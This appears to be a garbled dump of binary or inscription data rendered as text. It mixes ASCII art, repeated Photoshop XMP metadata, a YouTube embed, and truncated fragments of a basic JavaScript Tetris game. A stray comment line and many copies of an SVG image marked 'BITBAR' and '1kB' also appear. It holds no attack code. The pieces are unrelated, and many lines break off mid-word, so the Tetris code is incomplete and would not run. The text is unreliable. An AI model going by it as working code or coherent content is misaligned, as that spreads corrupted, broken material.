.\.......\.......\.......\.......\.......\......./......./......
....\/.........\\.........\\\................//.........//......
..\/.........\/.........\/.......\/.........\/.........\/.......
/................................../.\.\...\/./.\./.\.\/..././..
.........\../...........\../\.............//../.........../../\.
................\.....\\.....\\\...//\\..././/...../............
....\..\/../.....\...\.../.........\.............\.../........\/
......./......\......\......\./....../......\......\./....\./...
../.\..../.....\..../..\..../...../....../.....\..../.......\...
..\......\./........\......\./.....\./....../........\......../.
.../.\............/..../.........\..../......./.\..../......./.\
/......\..\../../.........../../............\..../.........\../.
......../..\.............../..\/..\............//.\/..\.........
\/.../...\...\/...\...\....\...\........\...\........\..........
../......./...../............./...../......\/............\.....\
.//........\.../\........\..//\...........//............\\......
........................./.............\\//............\\\//\///
\......../..\......../..\......../..\......../..\......../..\...
...\..........\.\....\..../.......\....\..../.......\..../..../.
....\......./......./...\.......\......./......./\.......\\.....
./.....//....\/.....\.....\...../...../.....//...../...../......
/./...././............\.././...././..........\.\.././...././....
./...\...\./......./......\...\...../.../....../...\...\./......
text/html;charset=utf-8
<iframe width="560" height="315" src="https://www.youtube.com/embed/uVHCWpcEli0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3f, 2021/11/14-12:30:42        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/M
1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.1 (Windows)" xmp:CreateDate="2023-02-10T14:30:09+01:00" xmp:ModifyDate="2023-02-13T11:48:19+01:00" xmp:MetadataDate="2023-02-13T11:48:19+01:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:7e991c40-6361-ee4c-a619-18834f1f01a4" xmpMM:DocumentID="xmp.did:7e991c40-6361-ee4c-a619-18834f1f01a4" xmpMM:OriginalDocumentID="xmp.did:7e991c40-6361-ee4c-a619-18834f1f01a4"> <xmpMM:History> <rdf:M
Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:7e991c40-6361-ee4c-a619-18834f1f01a4" stEvt:when="2023-02-10T14:30:09+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>=k
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3f, 2021/11/14-12:30:42        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/M
1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.1 (Windows)" xmp:CreateDate="2023-02-10T14:32:44+01:00" xmp:ModifyDate="2023-02-13T11:48:26+01:00" xmp:MetadataDate="2023-02-13T11:48:26+01:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:fad747e6-4b55-b24b-92a0-d7989e8780ef" xmpMM:DocumentID="xmp.did:fad747e6-4b55-b24b-92a0-d7989e8780ef" xmpMM:OriginalDocumentID="xmp.did:fad747e6-4b55-b24b-92a0-d7989e8780ef"> <xmpMM:History> <rdf:M
Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:fad747e6-4b55-b24b-92a0-d7989e8780ef" stEvt:when="2023-02-10T14:32:44+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3f, 2021/11/14-12:30:42        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/M
1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.1 (Windows)" xmp:CreateDate="2023-02-10T14:29:33+01:00" xmp:ModifyDate="2023-02-13T12:00:02+01:00" xmp:MetadataDate="2023-02-13T12:00:02+01:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:e8f31b9d-506a-464f-b444-884664a9d3d3" xmpMM:DocumentID="xmp.did:f1bcfa7e-62d9-f043-b664-19e09ce012f0" xmpMM:OriginalDocumentID="xmp.did:f1bcfa7e-62d9-f043-b664-19e09ce012f0"> <xmpMM:History> <rdf:M
Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:f1bcfa7e-62d9-f043-b664-19e09ce012f0" stEvt:when="2023-02-10T14:29:33+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:e8f31b9d-506a-464f-b444-884664a9d3d3" stEvt:when="2023-02-13T12:00:02+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3f, 2021/11/14-12:30:42        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/M
1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.1 (Windows)" xmp:CreateDate="2023-02-10T14:32:59+01:00" xmp:ModifyDate="2023-02-13T11:49:05+01:00" xmp:MetadataDate="2023-02-13T11:49:05+01:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:90240952-1e92-3349-bfc5-3b44b78a5b6e" xmpMM:DocumentID="xmp.did:956bcd23-7573-6d45-a9b5-6dbd7dd1ed83" xmpMM:OriginalDocumentID="xmp.did:956bcd23-7573-6d45-a9b5-6dbd7dd1ed83"> <xmpMM:History> <rdf:M
Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:956bcd23-7573-6d45-a9b5-6dbd7dd1ed83" stEvt:when="2023-02-10T14:32:59+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:90240952-1e92-3349-bfc5-3b44b78a5b6e" stEvt:when="2023-02-13T11:49:05+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3f, 2021/11/14-12:30:42        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/M
1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.1 (Windows)" xmp:CreateDate="2023-02-10T14:31:21+01:00" xmp:ModifyDate="2023-02-13T11:48:59+01:00" xmp:MetadataDate="2023-02-13T11:48:59+01:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:c75e457e-779a-8842-b336-2492aa4cf4b6" xmpMM:DocumentID="xmp.did:c75e457e-779a-8842-b336-2492aa4cf4b6" xmpMM:OriginalDocumentID="xmp.did:c75e457e-779a-8842-b336-2492aa4cf4b6"> <xmpMM:History> <rdf:M
Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:c75e457e-779a-8842-b336-2492aa4cf4b6" stEvt:when="2023-02-10T14:31:21+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3f, 2021/11/14-12:30:42        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/M
1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.1 (Windows)" xmp:CreateDate="2023-02-10T14:40:10+01:00" xmp:ModifyDate="2023-02-13T11:48:28+01:00" xmp:MetadataDate="2023-02-13T11:48:28+01:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:21c072be-bc69-c542-9d0e-e13e9cacb894" xmpMM:DocumentID="xmp.did:21c072be-bc69-c542-9d0e-e13e9cacb894" xmpMM:OriginalDocumentID="xmp.did:21c072be-bc69-c542-9d0e-e13e9cacb894"> <xmpMM:History> <rdf:M
Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:21c072be-bc69-c542-9d0e-e13e9cacb894" stEvt:when="2023-02-10T14:40:10+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>V
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3f, 2021/11/14-12:30:42        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/M
1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 23.1 (Windows)" xmp:CreateDate="2023-02-10T14:57:37+01:00" xmp:ModifyDate="2023-02-13T11:49:10+01:00" xmp:MetadataDate="2023-02-13T11:49:10+01:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:4fdb8c40-0a4d-fc47-a39d-1ece2cdcc288" xmpMM:DocumentID="xmp.did:f008f9f8-89e0-f44a-bb00-1286c365796d" xmpMM:OriginalDocumentID="xmp.did:f008f9f8-89e0-f44a-bb00-1286c365796d"> <xmpMM:History> <rdf:M
Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:f008f9f8-89e0-f44a-bb00-1286c365796d" stEvt:when="2023-02-10T14:57:37+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:4fdb8c40-0a4d-fc47-a39d-1ece2cdcc288" stEvt:when="2023-02-13T11:49:10+01:00" stEvt:softwareAgent="Adobe Photoshop 23.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Tz
"2,441,0/7>OC7:K;/0E^FKRTYYY5Bah`VgOWYU
(U909UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
rfffffffffffffffffffffd[
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
text/html;charset=utf-8
  <title>Basic Tetris HTML Game</title>
  <meta charset="UTF-8">
    background: black;
    align-items: center;
    justify-content: center;
    border: 1px solid white;
<canvas width="320" height="640" id="game"></canvas>
// https://tetris.fandom.com/wiki/Tetris_Guideline
// get a random integer between the rangM
// @see https://stackoverflow.com/a/1527820/2124254
function getRandomInt(min, max) {
  min = Math.ceil(min);
  max = Math.floor(max);
  return Math.floor(Math.random() * (max - min + 1)) + min;
// generate a new tetromino sequence
// @see https://tetris.fandom.com/wiki/Random_Generator
function generateSequence() {
  const sequence = ['I', 'J', 'L', 'O', 'S', 'T', 'Z'];
  while (sequence.length) {
    const rand = getRandomInt(0, sequence.length - 1);
    const name = sequence.sM
    tetrominoSequence.push(name);
// get the next tetromino in the sequence
function getNextTetromino() {
  if (tetrominoSequence.length === 0) {
    generateSequence();
  const name = tetrominoSequence.pop();
  const matrix = tetrominos[name];
  // I and O start centered, all others start in left-middle
  const col = playfield[0].length / 2 - Math.ceil(matrix[0].length / 2);
  // I starts on row 21 (-1), all others start on row 22 (-2)
  const row = name === 'I' ?M
    name: name,      // name of the piece (L, O, etc.)
    matrix: matrix,  // the current rotation matrix
    row: row,        // current row (starts offscreen)
    col: col         // current col
// rotate an NxN matrix 90deg
// @see https://codereview.stackexchange.com/a/186834
function rotate(matrix) {
  const N = matrix.length - 1;
  const result = matrix.map((row, i) =>
    row.map((val, j) => matrix[N - j][i])
// check to see if theM
 new matrix/row/col is valid
function isValidMove(matrix, cellRow, cellCol) {
  for (let row = 0; row < matrix.length; row++) {
    for (let col = 0; col < matrix[row].length; col++) {
      if (matrix[row][col] && (
          // outside the game bounds
          cellCol + col < 0 ||
          cellCol + col >= playfield[0].length ||
          cellRow + row >= playfield.length ||
          // collides with another piece
          playfield[cellRow + row][cellCol + col])
        return false;
// place the tetromino on the playfield
function placeTetromino() {
  for (let row = 0; row < tetromino.matrix.length; row++) {
    for (let col = 0; col < tetromino.matrix[row].length; col++) {
      if (tetromino.matrix[row][col]) {
        // game over if piece has any part offscreen
        if (tetromino.row + row < 0) {
          return showGameOver();
        playfield[tetromino.row + row][tetromino.col + col] = tetromino.name;
  // check for line clears starting from the bottom and working our way up
  for (let row = playfield.length - 1; row >= 0; ) {
    if (playfield[row].every(cell => !!cell)) {
      // drop every row above this one
      for (let r = row; r >= 0; r--) {
        for (let c = 0; c < playfield[r].length; c++) {
          playfield[r][c] = playfield[r-1][c];
  tetromino = getNextTetromino();
// show the game over screen
  cancelAnimationFrame(rAF);
  context.fillStyle = 'black';
  context.globalAlpha = 0.75;
  context.fillRect(0, canvas.height / 2 - 30, canvas.width, 60);
  context.globalAlpha = 1;
  context.fillStyle = 'white';
  context.font = '36px monospace';
  context.textAlign = 'center';
  context.textBaseline = 'middle';
  context.fillText('GAME OVER!', canvas.width / 2, canvas.height / 2);
const canvas = document.getElementById('game');
const context = canvas.getM
const tetrominoSequence = [];
// keep track of what is in every cell of the game using a 2d array
// tetris playfield is 10x20, with a few rows offscreen
const playfield = [];
// populate the empty state
for (let row = -2; row < 20; row++) {
  playfield[row] = [];
  for (let col = 0; col < 10; col++) {
    playfield[row][col] = 0;
// how to draw each tetromino
// @see https://tetris.fandom.com/wiki/SRS
const tetrominos = {
// color of each tetromino
let tetromino = getNextTetromino();
let rAF = null;  // keep track of the animation frame so we can cancel it
let gameOver = false;
  rAF = requestAnimationFrame(loop);
  context.clearRect(0,0,canvas.width,canvas.height);
  // draw the playfield
  for (let row = 0; row < 20; row++) {
    for (let col = 0; col < 10; col++) {
      if (playfield[row][col]) {
        const name = playfield[row][col];
        context.fillStylM
        // drawing 1 px smaller than the grid creates a grid effect
        context.fillRect(col * grid, row * grid, grid-1, grid-1);
  // draw the active tetromino
    // tetromino falls every 35 frames
    if (++count > 35) {
      tetromino.row++;
      // place piece if it runs into anything
      if (!isValidMove(tetromino.matrix, tetromino.row, tetromino.col)) {
        tetromino.row--;
        placeTetromino();
    context.fillStyle = colors[tetromino.name];
    for (let row = 0; row < tetromino.matrix.length; row++) {
      for (let col = 0; col < tetromino.matrix[row].length; col++) {
        if (tetromino.matrix[row][col]) {
          // drawing 1 px smaller than the grid creates a grid effect
          context.fillRect((tetromino.col + col) * grid, (tetromino.row + row) * grid, grid-1, grid-1);
// listen to keyboard events to move the active tetromino
ument.addEventListener('keydown', function(e) {
  if (gameOver) return;
  // left and right arrow keys (move)
  if (e.which === 37 || e.which === 39) {
    const col = e.which === 37
      ? tetromino.col - 1
      : tetromino.col + 1;
    if (isValidMove(tetromino.matrix, tetromino.row, col)) {
      tetromino.col = col;
  // up arrow key (rotate)
  if (e.which === 38) {
    const matrix = rotate(tetromino.matrix);
    if (isValidMove(matrix, tetromino.row, tetromino.col)) {
tromino.matrix = matrix;
  // down arrow key (drop)
  if(e.which === 40) {
    const row = tetromino.row + 1;
    if (!isValidMove(tetromino.matrix, row, tetromino.col)) {
      tetromino.row = row - 1;
      placeTetromino();
    tetromino.row = row;
rAF = requestAnimationFrame(loop);
Load earlier comments...
kazutokirigiya1 commented on Dec 14, 2019
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
);4>=:498AI^PAEYF89RoSYadiji?Os{rfz^gie
0eC9Ceeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
text/plain;charset=utf-8
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
